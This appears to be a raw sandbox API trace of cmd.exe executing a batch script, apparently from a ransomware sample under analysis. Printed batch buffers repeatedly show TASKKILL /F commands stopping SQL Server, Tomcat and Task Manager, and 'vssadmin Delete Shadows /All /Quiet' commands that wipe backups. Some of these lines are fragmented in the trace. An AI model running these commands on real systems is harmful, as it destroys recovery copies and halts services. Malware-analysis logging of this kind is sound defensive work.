(_String1="TASKKILL", _String2="MOVE") returned 7 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0089.788] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.788] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.789] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0089.789] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0089.789] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0089.791] CloseHandle (hObject=0x74) returned 1 [0089.791] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0090.295] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0090.295] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0090.295] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0090.295] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0090.295] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0090.296] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0090.296] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0090.296] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0090.296] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0090.296] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0090.296] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0090.296] SetConsoleInputExeNameW () returned 0x1 [0090.296] GetConsoleOutputCP () returned 0x1b5 [0090.296] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0090.296] SetThreadUILanguage (LangId=0x0) returned 0x409 [0090.296] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0090.296] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0090.296] _get_osfhandle (_FileHandle=3) returned 0x78 [0090.296] SetFilePointer (in: hFile=0x78, lDistanceToMove=928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3a0 [0090.296] _get_osfhandle (_FileHandle=3) returned 0x78 [0090.296] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3a0 [0090.297] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x2d0, lpOverlapped=0x0) returned 1 [0090.297] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=720, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 720 [0090.297] _get_osfhandle (_FileHandle=3) returned 0x78 [0090.297] GetFileType (hFile=0x78) returned 0x1 [0090.297] _get_osfhandle (_FileHandle=3) returned 0x78 [0090.297] SetFilePointer (in: hFile=0x78, lDistanceToMove=-675, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cd [0090.297] _tell (_FileHandle=3) returned 973 [0090.297] _close (_FileHandle=3) returned 0 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0090.297] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0090.298] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0090.298] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0090.298] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0090.298] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0090.298] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0090.298] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0090.301] CloseHandle (hObject=0x78) returned 1 [0090.301] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0090.774] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0090.774] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0090.774] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0090.774] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0090.774] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0090.774] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0090.774] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0090.775] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0090.775] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0090.775] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0090.775] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0090.775] SetConsoleInputExeNameW () returned 0x1 [0090.775] GetConsoleOutputCP () returned 0x1b5 [0090.775] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0090.775] SetThreadUILanguage (LangId=0x0) returned 0x409 [0090.775] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0090.775] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0090.775] _get_osfhandle (_FileHandle=3) returned 0x74 [0090.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=973, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3cd [0090.775] _get_osfhandle (_FileHandle=3) returned 0x74 [0090.775] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3cd [0090.775] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x2a3, lpOverlapped=0x0) returned 1 [0090.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=675, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 675 [0090.776] _get_osfhandle (_FileHandle=3) returned 0x74 [0090.776] GetFileType (hFile=0x74) returned 0x1 [0090.776] _get_osfhandle (_FileHandle=3) returned 0x74 [0090.776] SetFilePointer (in: hFile=0x74, lDistanceToMove=-602, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x416 [0090.776] _tell (_FileHandle=3) returned 1046 [0090.776] _close (_FileHandle=3) returned 0 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0090.776] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0090.777] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0090.777] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0090.777] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0090.777] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0090.777] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0090.777] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0090.777] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0090.777] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0090.777] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0090.779] CloseHandle (hObject=0x74) returned 1 [0090.779] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0091.247] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0091.247] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0091.247] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0091.247] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0091.247] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0091.247] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0091.247] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0091.247] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0091.247] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0091.247] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0091.247] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0091.247] SetConsoleInputExeNameW () returned 0x1 [0091.247] GetConsoleOutputCP () returned 0x1b5 [0091.247] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0091.247] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.248] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0091.248] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0091.248] _get_osfhandle (_FileHandle=3) returned 0x78 [0091.248] SetFilePointer (in: hFile=0x78, lDistanceToMove=1046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x416 [0091.248] _get_osfhandle (_FileHandle=3) returned 0x78 [0091.248] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x416 [0091.248] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x25a, lpOverlapped=0x0) returned 1 [0091.248] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=602, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 602 [0091.248] _get_osfhandle (_FileHandle=3) returned 0x78 [0091.248] GetFileType (hFile=0x78) returned 0x1 [0091.248] _get_osfhandle (_FileHandle=3) returned 0x78 [0091.248] SetFilePointer (in: hFile=0x78, lDistanceToMove=-551, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x449 [0091.248] _tell (_FileHandle=3) returned 1097 [0091.248] _close (_FileHandle=3) returned 0 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0091.248] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0091.249] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 